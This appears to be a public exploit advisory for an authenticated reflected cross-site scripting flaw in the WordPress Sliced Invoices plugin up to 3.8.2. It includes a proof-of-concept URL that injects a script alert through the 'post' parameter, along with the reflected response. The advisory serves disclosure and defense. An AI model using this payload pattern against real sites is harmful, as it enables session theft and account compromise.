WordPress Sliced Invoices 3.8.2 Cross Site Scripting

WordPress Sliced Invoices plugin versions 3.8.2 and below suffer from a cross site scripting vulnerability.


MD5 | df9d4d1e2f545ded8d4d29f70c2d5267

# Exploit Title: Wordpress Sliced Invoices <= 3.8.2 Authentificated Reflected XSS Vulnerability
# Date: 22-10-2019
# Exploit Author: Lucian Ioan Nitescu
# Contact: https://twitter.com/LucianNitescu
# Webiste: https://nitesculucian.github.io
# Vendor Homepage: https://slicedinvoices.com/
# Software Link: https://wordpress.org/plugins/sliced-invoices/
# Version: 3.8.2
# Tested on: Ubuntu 18.04 / Wordpress 5.3

1. Description:

Wordpress Sliced Invoices plugin with version lower then 3.8.2 is affected by an authentificated Reflected Cross-site scripting (XSS) vulnerability.

2. Proof of Concept:

Reflected Cross-site scripting (XSS)
- Using an Wordpress user, access < your_target > /wp-admin/admin.php?action=duplicate_quote_invoice&post=%3Cscript%3Ealert(1)%3C%2fscript%3E
- The response will contain:
```
<body id="error-page">
<p>Creation failed, could not find original invoice or quote: <script>alert(1)</script></p></body>
</html>
```

Related Posts